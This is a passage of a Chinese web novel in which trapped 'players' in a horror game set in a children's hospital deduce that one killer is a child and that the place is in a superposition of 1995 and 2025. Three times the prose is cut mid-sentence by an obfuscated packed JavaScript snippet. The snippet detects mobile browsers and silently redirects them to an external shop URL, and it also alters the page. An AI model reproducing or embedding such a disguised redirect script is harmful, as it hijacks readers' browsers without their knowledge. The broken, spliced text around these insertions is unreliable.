隋舟深呼吸,说道:“我知道那句话是什么意思了。” “那句话?”陆行沉思了一下,恍然,“啊,你说提示语?” “对。今夜没有人赢,没有人能胜利地离开,这句话的字面意思我想大家都明白,但是这句话的重点并不是它的意思。”隋舟道,“重要的点在于这句话的出处!” 陆行挑眉,这是他未曾想过的方向:“这句话还有出处?出自哪里?” “一个叫拿破仑·彼兹利的人。” 陆行皱眉等待下文。 “这是他的临终遗言……”隋舟继续缓缓开口,“他是一个少年犯。” 陆行在听到少年犯三个字的时候,瞬间便明白了。 他的表情变得少见的凝重。 “如果提示语真如你们所说直指真相,那么就说明……” 陆行抬头看向天空,黑云吹散,露出后面的月亮,黑漆漆的夜晚也有了光。 他缓缓地接着隋舟的话说道“……说明凶手……或者说至少其中一个凶手,是小孩子……” 15. 人之初15 对于凶手是小孩这个结论,两人的接受来得比想象的容易。 “难怪……”隋舟说道,“我之前一直觉得不可能两个凶手都是我们玩家中的人,这样的话,游戏没得玩也不好玩,但是当时大家都认为没有重要的NPC……” “是因为我们忽略了小孩子这一群重要的NPC。” “但是虽然如此,吴妄的部分还是说不通。”隋舟皱眉,“她已经死亡了,我们要如何救她?她和这个治疗中心,到底又有着怎样的关系?” “治疗中心?”陆行听到隋舟说的话,眼神暗了暗。 隋舟注意到了陆行的迟疑问:“怎么了?” 陆行没有回答,反问:“你到这里的时候天是亮是黑?你看到的招牌上写的什么?” 隋舟回答:“我到达那天,天已经黑了,招牌上的字模模糊糊看不太清,我只看到几个字,写着‘……市……童……xx……治疗中心……’我猜想应当就是幽云市某某儿童治疗中心。” 陆行嗯了一声说道:“这个问题我问了好几个人,其中袁秉谦和童思静到达的时候天还亮着,写的是幽云市什么儿童医院;吴崂是晚上到的,和你看到的一样;鲍芙迎到的时候天也黑了,可他看到的却又和袁秉谦他们看到的一样……” 隋舟惊讶道:“难怪,我确实发现大家对这里的称呼不一样,有人叫治疗中心,有人叫儿童医院,但是因为意思一样,所以我以为是大家称呼习惯不同而已!没想到根本就是因为大家看到的招牌就不同!” 陆行点头:“所以我觉得这非常奇怪。然后我就总是在夜里和白天反复查看相同的地方,最后,真让我发现了点东西。” “发现了什么?” “有一天夜里,我发现在花坛里埋了一只被虐杀的猫,可是到了白天,那只猫不见了,到了晚上,又出现了。不止如此,这里白天和夜里,许多地方都有一些微妙的不同。” 隋舟对陆行给出的结论感到有些惊讶:“你的意思是,白天和夜里,这所医院会发生变化?” “变化还不算小,你常去档案室,应当知道,档案室所在的东楼的一楼是废弃的治疗室,但是我昨天晚上去看的时候,那里竟然变成了住院部的病房,里面还住着一些人。 隋舟垂眸沉思,斩钉截铁地说道:“不对,我在夜里去过档案室,我当晚经过一楼的时候,那里晚上也是废弃的治疗室。” 陆行皱眉:“我特意去过两次验证,那里都变成了住院部。你有没有可能看错?” “不可能。”隋舟回忆了一下,自己确实因为只是路过没有特意仔细看,但这种变化并非小变化,如果当真这么大变化,他一定会发现。 “我们现在去看看。”陆行提议。 到了东楼一楼的时候,隋舟却感觉到眼前恍惚的恍若隔世,那废弃的病房竟然当真变成了住院部!虽然因为夜里,病房里也关了灯,但是那废弃的房间已然宽敞整洁,病房里大部分是空着,但是有些病房甚至还住着一两个人。 “这……到底是怎么回事?”隋舟承认,这种变化太超过认知,他有些思维局限了。 陆行抬头望向眼前的整个医院,三栋楼在黑夜中伫立,就像三只巨大的怪兽要吞没他们一般,说道:“我感觉,这里白天和夜里像是两个空间,只是因为太过相似,我们才没有发现。” “两个空间……”隋舟看向陆行,仿佛想起了什么提议道,“走,去档案室看看。” 两人到了档案室,一切又如以前所见,档案室大门紧闭,里面的布局也没有什么变化。 “为什么有的地方有变化,甚至变化还那么大,而有的地方却毫无变化?”陆行虽然发现了这些问题,但他也一直没有想出答案,这也是他邀请隋舟晚上一同来查看的原因。 “那个小孩。”隋舟想起了什么说道:“找找那个给我留纸条的小孩,他就像护士长一样,既然是发布任务的重要NPC,他就一定还会出现。” 两人默契地开始地毯式搜索,终于,在最后一个书架后面,陆行的声音传来。 “找到了,在这里。” 隋舟走了过去,那个递纸条给他的小女孩就蜷缩在铁柜子里,看来,他平时听到声音就会躲在这里。 “原来是你。”小女孩看到来的人是隋舟便从柜子里爬了出来,隋舟伸手托住她,扶着女孩平稳落地。 隋舟问:“你为什么要躲在这里?” 小女孩眼神闪躲,声音却提高了一些说:“我没躲啊,我就住在这里。” “你住在这里?”陆行问,“你们小孩子都有宿舍,你为什么不住宿舍?” 小女孩却不再理他们,自顾自地回头在柜子里摸索半天,然后她拿出来一张报纸递给他们说:“吴奶奶说,你们要是回来了,就把这个给你们。” 隋舟看了陆行一眼,陆行点点头,两人便接过报纸看了起来。 “这不就是吴妄死亡案件的报道?”隋舟对小女孩说,“我们看过……” 忽然,他的话语戛然而止,因为他看到了报纸的右上角,上一份报纸看不清的地方,这一份报纸却看得清清楚楚! “时间……不,应该说日期。”隋舟指向报纸右上角,陆行自然也看到了,嗯了一声,低沉地说道,“报纸是2025年的,所以……吴妄是今年死的。” 隋舟甚至感觉到头皮发麻,他问陆行:“我们上次在药房的时候不是确定了,我们现在所处的时间是在1995年吗?为什么会出现2025年的报纸?” 陆行脸色也不太好,谜团越来越多,忽然,某个念头一闪而过,他伸手一把拉过隋舟说道:“跟我走。” 隋舟一时也不知道陆行想到了什么,只觉得从未见过他如此着急和严肃,便由他拉着自己,快步往主楼走去,到了主楼他一下就明白隋舟要去哪里——那是唯一一个能看到年月日的地方。 两人快步走进了药房。 上一次他们两人来药房的时候,天还亮着,当时他们发现了药是1995年左右生产的,所以他们推断自己所在的年份是三十年前,但是现在……如果像他想的那样…… 两人赶紧拿出手机打开电筒,拿起药瓶查看,陆行一边看一边说道:“我之前说,这里白天和夜晚总是有一些不同,是因为白天是一个空间、夜里是一个空间。我说错了,这里白天和黑夜不是两个空间……” 隋舟看着手中的药瓶,接着说:“……没错,不是两个空间,应该说是两个时间……” 陆行难得收起那吊儿郎当的纨绔表情,而隋舟向来波澜不惊的脸上也有了些情绪。 两人都看着手中的药瓶,只见那药瓶上的生产日期明确写着是2025年。 隋舟有些恍惚,缓缓说道:“所以,这里夜里是和现实世界同样的2025年,而白天却是三十年前——1995年。” 1995年,这里是幽云市儿童治疗中心,因为发生了某些事情荒废,直到今年,也就是2025年,经过重新装修启用为私立医院,招牌也就成为幽云市某某儿童医院。 在这个游戏设定里,时空是错位的,天亮时,我们来到的是三十年前的儿童中心,天黑后,医院会变成今年重开的儿童医院。 所以,当初档案室的阿姨说她是负责档案室的,我却找不到她的档案,因为他是今年重开的儿童医院档案室的管理员,而我们当时是白天去找的档案,是三十年前治疗中心的档案。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164081|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以,吴妄也是现在的人,而不是三十年前的人,所以我们也找不到她的任何信息。”陆行思考道,“不对……还是不对……如果吴妄是现在的人,又为何要特意让小孩在白天通知到三十年前的我们?” 三十年前的人,能救未来的人? 这没有道理…… 隋舟一想到吴妄,就觉得诸多疑点没有答案。 “报纸上写得很清楚,吴妄于今年死亡,死亡的时候她还是个大学生,就算她读书再晚,三十年前她应该还没出生。”隋舟揉了揉太阳穴,在弄清楚时空问题后,吴妄的问题却更复杂了。 陆行表示赞同:“所以我们可以有所作为的两个时间点——一是30年前,吴妄还未出生,我们什么都做不了;二是现在,吴妄已经死亡,我们依然什么都做不了……那么,她母亲给我们的这个任务,到底要如何完成?” 面对这个问题,两人都没有回答,沉默席卷了整个空间。 忽然,手机没有电,电筒熄灭了。 在黑暗到来的一瞬间,两人都不约而同地向着各自的方向前进了一步,他们的衣袖互相挨着以确认彼此还在这个空间里面,毕竟在黑暗中一个不注意,或许你就不知道身边的到底是人还是鬼了。 ------------------ 第二天早上,没有人出事,大家都松了一口气。 众人聚在餐厅如往常一般用餐,但是因为五个人里就有两个凶手这个结论,让大家很是拘谨,不愿意多说自己的想法。 隋舟打破了沉默:“昨天我们有一些发现,决定告诉大家。” 所有人抬头看向了他,等待着后文。 于是隋舟将这里白天夜里是两个年份的事告诉了大家,对于这一点,所有人都很是震惊。 “在这里感觉根本感受不到具体的时间差别一般。” “应该是游戏故意模糊了能够识别年份的东西。” 等大家讨论完,隋舟才继续说道:“还有关于凶手,我们玩家中最多只有一个凶手,另一个凶手是NPC,或者两个都是NPC。” “这怎么可能?”吴崂问,“不是你们之前说,这里没有重要NPC,不可能有其他NPC是凶手吗?” “这里有重要NPC。”陆行说着对着孩子那桌扬了扬下巴:“那一桌都挺重要的。” 随着陆行话音落下,所有人看向了小孩那桌,很快大家就反应过来他的意思。 “你是说……小、小孩是……”吴崂降低了声音,震惊得说不出完整的话。 “怎么可能?” “他……他们杀人???” 隋舟点头,也放低了声音:“对,凶手是两人,一大一小。童思静和08号的心脏都被啃食,我当时告诉你们啃食咬痕不同,是两人,但是我当时不知道那种不同代表了什么。昨天我推断出小孩是凶手后,又仔细查看了我拍的现场照片,08号心脏上的咬痕要小很多,确实只能是小孩的齿痕。所以凶手是一大一小,这一点可以说非常明确了。” 鲍芙迎问:“那为什么不是两个小孩?万一你对齿痕的判断不准确呢?” “确实,所以还有另一项证据,那就是小孩做不到杀死大人,甚至还开膛剖心。”隋舟沉思着回答:“这是两个凶手联合作案。” “所以是大人凶手主导,小孩跟随学习。” 隋舟听到这个论断皱起了眉头,缓缓开口:“这个不能确定,并不排除小孩主导的可能性。” 大家都愣住了,小孩杀人已是让他们惊讶,如今小孩竟是主导,他们只觉得三观都受到冲击。就算是游戏,也不能这么猛吧! “这……这不可能吧。”袁秉谦感到不可思议。 16. 人之初16 可鲍芙迎脸上却难掩厌恶之色,他冷笑一声说:“有什么不可能的?小畜生多了去了。” 大家来不及对她这句话过多的感受,就忽然听到楼下大厅传来了非常大声的吵闹声,大家对视一眼,决定下去看一看。 到了楼下,却发现主楼大厅围了十几个人,护士长被他们一群人骂骂咧咧地围在里面,无力招架。 几个人赶紧上前帮助护士长把现场稳定了下来。 现场的人七嘴八舌、你一句我一句的,大家才总算弄清楚,原来这些人是八个孩子的家人,因为听说医院里孩子出事了,便全部跑来了。 护士长被一群人围攻,显得很是难堪。 最后护士长把一群人全部带到了另一栋楼的办公室里面,她显然就是不想让他们几个人参与进来,所以玩家们一行人也没有跟上去。 几人不约而同地在大厅等着,不多久,就看到那一群大人簇拥着走了出来,和之前不同的是,他们这会儿却满面春光,一副得意的样子。 “可真是奇怪。”吴崂先开口,“死了孩子,还有什么事能让家长这么高兴?” “赔偿呗。”鲍芙迎不减对这些孩子的厌恶,甚至这种厌恶之情已然扩散到了家长身上说,“看到那个男人胸前的包了吗?死死地抱着,肯定是拿到了钱。这种令人讨厌的有缺陷的孩子,一定是这种见钱眼开,素质低下的家长养出来的。” 袁秉谦看了鲍芙迎一眼,好像想说什么,却最终没有开口。 又等到护士们重新来将孩子们带走之后,一行人又才回到二楼餐厅,继续讨论。 “那孩子们为什么要杀人?”袁秉谦说,“人之初、性本善,他们如此总是有原因的!” “说起来,关于这些小孩在这里治疗的情况我们也讨论了几次了,我之前特意观察过部分孩子的情况,接下来就由我来总结一下目前能明确推断出小孩改造原因,没有说到的,大家补充。” 隋舟心里盘算着一些事,一边想着一边继续说道:“我负责的01号,可能是因为性格孤僻不合群;吴先生负责的06号,想必是爱玩游戏;鲍女士负责的02号,恐怕就是爱打架、欺负其他小孩;童思静负责的08号大家知道了、是性别认知方面的问题。薛燥和毕薪负责的小孩死亡太早,就未知了。剩下的,袁老先生负责的05号我没来得及观察,就请你自己说一下吧。” “好。我负责的05号,每天晚上睡觉不准我关灯,想来应当就是因为胆子特别小,以及,稍微受点惊吓就容易失禁。”袁秉谦心中动容,他想起了童思静和08号,叹了一口气,“看来这些孩子父母把他们送来之后,也就不管他们死活了。” “这样说的话,会不会是这种可能——这些孩子们没有家长关心,送进来之后受尽苦难,然后逐渐被恨意吞噬,然后遇到了一个帮助他成为杀手的成年人……”吴崂顺着袁秉谦的话推理,“所以,这些孩子是在复仇?” “有可能。”袁秉谦点头。 只有鲍芙迎脸上表情有些奇怪,她对此没有发表任何感想。 “不管怎么说,这些孩子挺可怜的。”袁秉谦起身说道,“我去小卖部买点东西,今天我们还是各自找线索吧。” 隋舟也起身离开了,他去了花园。他记得陆行提过一次,那花园里埋了被虐杀的小猫。 “你对他们猜测的小孩凶手杀人动机怎么看?” 隋舟正在院子里查看,却听到身后传来陆行的声音,他回头看去,问:“你又来看院子?院子里当真这么多线索?” “我这次来是因为好奇你来院子是看什么。”陆行嘴角扬起,一副似笑非笑的模样。 “我就是随便看看。”隋舟说完又开始查看泥土,不说话了。 陆行却不放过他问:“小孩被家长抛弃到这里,然后被过度折磨治疗后,遇到了一个帮助他的成年人,开始了复仇之路——你对这个推理怎么看?” 隋舟回答:“不太可能。” “和我想的一样。”陆行说,“这个动机有一个致命的问题,那就是,既然是复仇,杀害护工没问题,可为何要杀害其他的孩子?” “所以陆先生,不如你灵机妙算一下,凶手的动机到底是什么?”隋舟拿着树枝在到处刨着泥土。 陆行看着隋舟,然后指了指身边花园的月季说:“这里值得一看。” 隋舟看向月季,只见那月季下面埋着什么东西。隋舟捡起一根树枝戳了一下,回头看向陆行:“是死猫。” “你就是在找这东西吧。”陆行说道,“之前宿舍里也出现了大量的死猫死老鼠,说明这里有人在虐杀动物。” “虐杀动物、尿床………这些因素在这个游戏中反复出现,就是非常明显的提示……”陆行这才回答了隋舟的问题,“虽然不知道你在现实世界是做什么的,但是这些东西看起来你应该是比我懂,所以动机还需要我猜吗?” 隋舟看着陆行,他不知道自己是什么工作的,自己却大致可以推测出来一点他是干什么的。 上位者的气场、不苟言笑的表情、精致的服装以及挺拔的身姿——隋舟得出结论——反正不太可能是普通劳动者,大概率是自己的阶级敌人。 不过现在在生死面前,姑且先抓一下生死这个主要矛盾,团结一切可以团结的力量吧。 隋舟回答道:“研究表明,连环杀人犯小时候常常具有一些特征,比如年纪比较大了还在尿床、纵火、和虐杀动物。所以,我的观点是——这一定不是某个小孩到了这里,受到非人折磨后觉醒复仇的故事。” “而是小小杀人魔杀了人,被父母隐瞒送到改造学校想要对其进行改造,结果不仅没被改造,反而让这里成为他屠杀天堂的故事。”隋舟说完摇了摇头,“不过这些都是猜测,他们说的也不一定不正确。现在值得注意的是,才中午十二点,天已经开始黑了。可惜我们还没完全推理出死亡规则,否则天黑后的行动可以更大胆一点。” “你没推理出来?”陆行问,“不是小孩不能哭吗?” “那只是针对小孩的。”隋舟解释道,“既然凶手是一大一小、每一次死亡也是一大一小,那么小孩有规则,大人死亡也一定有规则,这才符合这次每个玩家都配一个小孩的设定吧。” “大人的死亡规则?比如童思静?”陆行说,“你认为童思静和08号应当是分别触犯了各自的禁忌,所以才同时被杀死,而不存在先后因果关系。” 隋舟点头:“没错,而且还有一点,薛燥和毕薪的死亡原因也不明,我认为小孩死亡导致大人死亡这一点,暂时无法排除。所以应该并行有两条规则。” “先回去吧。天黑了,那些护士要送孩子们回宿舍了。” 隋舟皱眉:“你安眠药还有吗?” “怎么?你要给01号用?”陆行嘴角勾起。 隋舟思索了一下说道:“有备无患吧,按照这个天黑的速度,我感觉很快天将不会再亮了,也就是孩子们不会去治疗,他们也不可能一直休息,这说明什么?” “说明大家必须时刻守着孩子。”陆行懒懒说道,“副本挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164082|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠的。” 回到饭厅的时候,他们两人发现护士们已经将孩子们送回来了,还好袁秉谦接到孩子后,帮他们征求了孩子们的同意,先由自己带他们来吃饭。 这种除了孩子同意和休息,其他时间要和孩子们形影不离的明面上的规则不遵守,估计下场更惨。 “吴崂呢?”鲍芙迎没有一点胃口,随便吃了一个馒头,就坐着看着大家,却发现少了一个人。 袁秉谦说:“他说不吃饭,拿了点干粮就带孩子回宿舍了。”问完又看向隋舟说,“隋先生,现在才中午天已经黑了,我估计明天甚至天都不会亮了。” 隋舟点头表示同意。 “你思维活跃,我们只剩下两天不到了,不知道你有没有再发现什么重要线索?” 隋舟耸肩:“说实话,我实在想不通的是吴妄那条线。” “确实。”鲍芙迎参与讨论,“她已经死亡了,到底怎么才能救她呢?” “可是游戏没有死局,也不会下达无法完成的任务。”袁秉谦说道,“我们一定是还有哪里没有想到。” 大家有一搭没一搭地讨论着,随便吃了点就回宿舍了。 隋舟安顿好01号之后,又开始各房间查看,首先是袁秉谦负责的05号,据袁秉谦透露,05号的问题是太过于胆小,才送进来改造;接下来是鲍芙迎负责的02号房间,他依然抱着个破娃娃,一声不吭,狠狠盯着隋舟;隋舟和鲍芙迎打完招呼便继续往后走去,是吴崂负责的06号女孩,吴崂不在,但是女孩房门没关,隋舟推开房门看去,06号看起来像睡着了一般,但是隋舟却直觉不太对,他犹豫了一下走了进去。 房间里的灯光比较昏暗,但是隋舟丰富的经验告诉他,床上躺着的女孩,已经死了。隋舟检查了一遍女孩尸体后,不动声色地退出,然后敲响了陆行的门。 陆行很快就开了门,看到是隋舟倒是也不意外,问:“有新发现?” “06号死了。”隋舟小声说道,“先让我进去再说。” 陆行听到这句话仿佛一点也不意外,将隋舟让了进来后关上了门。 隋舟进门后还未坐下,便径直开口问道:“是你做的?” 陆行挑了挑眉:“我为什么要做这种事?” “为了试一下是不是小孩死亡之后,会导致大人死亡。”隋舟说道,“我本来以为欺骗大家杀了小孩这件事,只是因为和我想法一样,想把水搅浑。但是现在看,可能你是在做一些实验吧。” “别人就因为我这句话就要去杀小孩?”陆行觉得他的猜测毫无根据,质疑道。 隋舟摇头:“当然还有小孩哭,会触发禁忌这一点作为催化剂。” “小孩那么小,谁知道他什么时候因为什么会哭?小孩哭明确是一个禁忌,我们知道的结果是小孩会死,但是大人呢?目前小孩哭了的大人都出事了。那么,怎么能保证孩子不哭呢?” 隋舟斩钉截铁说道:“就在大家思考这个问题的时候,你告诉大家你来这里第一天就杀死了小孩,这么多天你毫发无伤。大家自然就会想到:你杀死了小孩——小孩绝不可能哭泣——你永远不会被选中——你是安全的!” “推理得很有趣。”陆行双眸深邃,他坐在椅子上,一只手搭在靠椅扶手,仿佛被指控的不是自己,轻松地回答:“但是我不认为大家愿意冒这个险。” “一般情况下当然不会冒险。”隋舟坐在陆行对面,直勾勾地盯着他说的确定,“但如果你做了足够的铺垫,让他认为这不是冒险,又会如何呢?” 17. 人之初17 “首先,你来到这里第一天,就在谈话之间铺垫了玩家可以杀害玩家,更加可以杀害NPC这样的话,给大家轻轻种下一颗种子,紧接着,你又和吴崂组队,我猜测在组队的时候你大概率又一次给他的思想拓上了可以杀害NPC的钢印;最后,你再告诉他你已经这么做了,什么事都没有,不仅没事甚至逃脱了规则的束缚。接下来一切都水到渠成。” “隋先生,你想象力真的很丰富。只是我必须告诉你,你说的这些都只是巧合,我并没有做局让吴崂杀死小孩。”陆行说完这些话笑了,他看着隋舟,隋舟的皮肤很白,在昏黄的灯光下晕染上了一层暖色,他继续说道,“但是如果你非要这么以为,我便问一句,就算我设局让吴崂杀死了他负责的孩子,那又如何呢?” 隋舟一愣,又如何? 确实,那又如何? “况且,你不是到现在都还不确定小孩死亡是否会导致大人死亡。”陆行无所谓地说道,“不过你说得有一点很对,我乐于见到这样的实验,因为这个困扰大家的问题的答案今晚我们就能知道了。” 规则和禁忌都是死人换来的,这句话甚至是在刚来这里的时候,吴崂嘲讽新人毕薪的时候自己说的。 “就算是我做的,你也拿我没办法,毕竟出去了吴崂也是失踪。”陆行冷着一张脸,语气倒是很平淡,“所以,何必非要把这个罪名扣在我的身上?” 隋舟皱眉看向陆行的脸,他的五官隐藏在了一片阴影下,只有额头在光照下,露出那一条细长的疤痕。 对啊,自己找到他对峙又能怎样? 这里不是现实世界,在这里即使杀了人又能怎样呢? “有的人活着不如死了,死了或许别人就能活了。”陆行突然低低地说道,然后又转头问,“隋先生,找我还有其他事吗?” 隋舟沉默。 “如果没有的话,我倒是刚好有事想找你。”陆行指了指他身边另一把椅子,说,“我整理了一遍我们找到的所有线索,发现我们确实疏忽了一些地方,但是关于结果我还没有想得很明白,你先坐下,我们慢慢谈。” 隋舟盯着陆行,半晌,觉得还是线索重要,终于坐下。 等隋舟坐下后,陆行先端了一杯水递给隋舟,然后拿上一个本子一支笔,才缓缓开口讲述了整理出来的线索。 “主要是三个方面的疑问,但是这三个疑问指向的是同一个本质。 第一,到目前为止死亡的人里面,大人都是白天死亡的,而小孩既有白天死亡的、也有夜晚死亡的; 第二,我们玩家和小孩既可以出现在白天,也可以出现在晚上,而我们晚上看到的住院部的人包括住院部本身,只出现在了晚上,白天从没见过; 第三,关于医院的门牌,袁秉谦和童思静白天看到的是儿童医院,你和我晚上看到的是治疗中心,但是奇怪的是,吴崂来到这里的时候是白天,他看到的门牌却写的是治疗中心。” “再结合我们之前推理的结论:白天是1995年,晚上是2025年,有什么矛盾?” 隋舟看着陆行本子上写的大段大段的话,陷入了沉思。 陆行补充道:“如果白天和晚上分别是两个年份,那么不管人还是物,应该都是各自属于各自的年份,不会交叉重叠出现。” “重叠交叉……总结一下你列举的这些情况,我发现这些交叉重叠是有规律的,并非全部都发生了交叉和重叠,你看……”随舟指着本子上写的内容说:“2025年的人与物没有发生重叠,只在晚上出现过;但是1995年的人与物却既在白天出现过,又在晚上出现过。” 但是这又说明什么? 思维的停滞让房间里更加沉闷,陆行起身打开了窗户,一阵夜风吹过,吹乱两个人本就不完整的思绪。 “夜晚是2025年,白天是1995年——难道,这个结论错了?”终于,隋舟打破了沉默,但是他还没有想透彻,“可就算错了,又错在哪里?为什么晚上可以出现两个年份的事物?” 陆行没有回答,他的右手轻轻摸着额头的疤痕,那条疤痕从额头中间一直拉到了右眼角的眼尾,像一条细细的线,扯着他的神经,让他时时头痛得厉害。 隋舟也并不是在问陆行,他思考的时候总是会喃喃自语。 陆行扭头看向隋舟,隋舟并没有透露过他是做什么的,老实说,陆行也确实看不出来,感觉他像医生、像警察,但是更像一个……罪犯,一个求生不得求死不能的缓刑犯。 他有着极其惊艳的外貌,却又有一种能够隐藏自己锋芒的钝力。他的表情很恰当地带给人回应,但是眼底却透着冰凉的冷漠。陆行认为,这种矛盾或许是他保护自己的手段。 “一般的人,都很好懂。但是你不同,我能看到你,却看不清你……”陆行仰头看向月亮,他的视线在光照下有些模糊,“……就像我们能看出来这里白天和夜里完全不同,却看不出来时空扭曲的真相和根本。” 陆行站在窗边吹着风,他望着外面,脑海里浮现出到了这里的一帧一帧画面,低沉的声音继续呢喃…… “扭曲的地方很多,比如大家看到的牌匾文字不同,我和你看到的东楼一楼空间功能不同,埋藏被虐杀小动物的花坛时有时无,白天和晚上肯定不同,可晚上和晚上也会偶尔不同。” “等等!”有个什么想法从隋舟脑海中一闪而过:等等… 隋舟呢喃着重复陆行的话语:“白天和晚上不同,晚上和晚上不同,晚上和白天偶尔相同……白天的人可以在晚上出现,可晚上的人,却无法在白天出现。” 隋舟忽然睁大了眼睛,他的心脏猛地跳动,他几乎脱口而出! “还记得我们第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164083|196619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次在药房的谈话吗?当时你怎么说的?”隋舟似在回忆当晚在药房两人的谈话,“你当时说了一段话,你说‘相隔千里的两人不联系,其中一个做什么,另一个瞬间就能作出相应的变化,这种现象放在玄学、神学上叫作鬼魅的力量,叫作心灵感应。可是放在科学,科学家把这叫作量子纠缠。” 陆行点头:“对,我说过。” “提到量子纠缠,就一定会想到一个著名的实验——”隋舟语速变的很快,明显能感觉到他的思维在快速地飞跃,但是他的表情却依然非常冷静。 “实验?”陆行跟上隋舟的思维,恍然道:“你是说薛定谔的猫?” “对!就是薛定谔的猫!”隋舟仿佛回答,又仿佛自言自语,他的声音不禁提高了一些,语速飞快,“薛定谔的猫是物理学家薛定谔提出的一个思想实验,是指将一只猫关在装有少量镭和□□的密闭容器里。镭的衰变存在几率,如果镭发生衰变,会触发机关打碎装有□□的瓶子,猫就会死;如果镭不发生衰变,猫就存活。根据量子力学理论,由于放射性的镭处于衰变和没有衰变两种状态的叠加,猫就理应处于死猫和活猫的叠加状态。” 陆行知道隋舟大概率是在自言自语,但是仍然做出了回答:“嗯,这个我知道。” “叠加态…”隋舟瞬间头皮发麻,他猛地抬头从椅子上站了起来,甚至在房间里来回踱步,最后他停下脚步回头,说道:“陆行…我想,我知道了!知道时空扭曲的真相!” 他的声音又低了下去,仿佛思考用尽了他的全部力气,因为声音低低的,变得有些黏稠,“陆行、陆行……游戏的操控者就是薛定谔,我们所处的这个医院就是盒子,而这里的时空,就是猫啊…” 陆行已经明白了,但是这样的猜想让他惊讶,他甚至觉得如果不是隋舟,只靠他自己一定想不通这一点。但是他没有说话,他静静地听着隋舟既像是给他讲解又像是自言自语的思考,他的声音仿佛从很远的地方传来,让陆行心中感到平静…… 隋舟详细地描述着他的猜测。“正如我刚才所言,首先,这里并非现实世界,在看不见的地方一定有某种力量操控着这里——就像实验的提出者薛定谔。而这个儿童医院就是那只装着猫的箱子。时空就是猫,而1995年和2025年两个时空,就对应猫生和死的两种状态,我们可以假定2025年就是活着的猫,1995年就是死去的猫。” “白天就是打开盖子的盒子,状态是确定的,当然,我们到这里遇到的白天都是2025年,也就是每次打开盖子都是活猫——这只能说明我们可能没遇到另一个结果,并不能推翻这个结论。 而夜晚的儿童医院就是盖上盖子的盒子。盖上盒子里的猫,是死猫和活猫的叠加态——替换成这里的话,儿童医院在夜晚的时候,时空处于1995年和2025年的叠加态!” 18. 人之初18 两个人四目对望,他们似乎想对这个结论挑一点刺,看看是不是有什么考虑不够全面的地方,但是很快他们发现之前觉得奇怪的一切都可以得到合理的解释,晚上看到的不同的牌匾,住院部在晚上既有又没有,埋葬在花园里的猫存在又不存在等等,一切都可以解释得通了。所以真相就是如此。 思维忽地停滞,巨大的疲惫向隋舟袭来,他坐下猛喝了几口水,陆行看着隋舟随着大口吞咽滚动的喉结,收回了视线,他望向窗外,冷风吹着他的脸,他感觉到头,开始痛了。 “休息一下吧。”陆行提议:“你可以到床上躺一下,醒来再说。” 对于时空问题的答案,两人都没有什么兴奋感,因为他们的问题很多,凶手和吴妄的问题还摆在那里。 那个成年人凶手到底是谁? 隋舟总感觉答案已经呼之欲出,但就在大脑皮层,跳不出来。 吴妄呢?到底要怎么拯救一个已经死去的人?毫无头绪。 “睡吧。”陆行自己坐在椅子上,向着床的方向抬了抬下巴,“你去那里。” “我稍微眯一下,恢复一下脑力,没准我就想通一切了。”隋舟看着陆行,确认他身体比自己好多了,便不再客气。 他啪地倒在床上,拿出手机插上耳机,听着自己下载的白噪音闭上了双眼。 在一阵阵细雨声中,隋舟闭上了眼睛,身体停止了动作,但是思绪仿佛停不下来,来到这里的日子,他听到的、看到的,全部都超出自己二十几年人生的认知。 这里的人将自己称为“玩家”,将这个地方称为“游戏”。 但是,现在的科技真的可以有这样真实的游戏吗? 思维变得缓慢,隋舟感觉自己身体疲惫到仿佛一直往下坠落,然后他轻轻地掉落在了一个中式院落里。 阳光洒在院落,树影切割光斑跳跃。 院落中央坐着一个美丽的女人,女人穿着墨绿色的旗袍,一只手撑着下巴,另一只手里轻轻地捏着一个剧本,正慵懒地靠在椅背闭目养神一般。 女人的椅子旁边是一张中式小几,小几上放着一个穿着白裙的人形骷髅,那骷髅虽是骷髅的模样,却带着一丝俏皮的感觉,手上拿着一个吹泡泡圈,一阵风吹过,那圈圈里果然是飞起了泡泡。 姜梦蝶就这样死了,死在了片场,死在了一片阳光和七彩泡沫中…… 而她的脚边好像掉落了一张墨绿色的卡片……… 隋舟忽地从梦中醒来,他拿出卡片——姜梦蝶的但是现在是自己的墨绿色卡片。 卡片背面银色的字泛着夜光,在这黑夜也能看清:“今夜没有人赢,没有人能胜利地离开…” 是了,这句话是提示语,玩家都说提示语直指真相,既然如此,提示语为何只指向了少年犯,还有个成年人凶手为何毫无体现? “不!”突然的想法让隋舟头皮一阵发麻,他猛地从床上坐起,他看着陆行,黑沉无光的眼眸中难得地看到了一丝情绪,他思维清晰但是表达混乱,完全是语无伦次地开了口—— 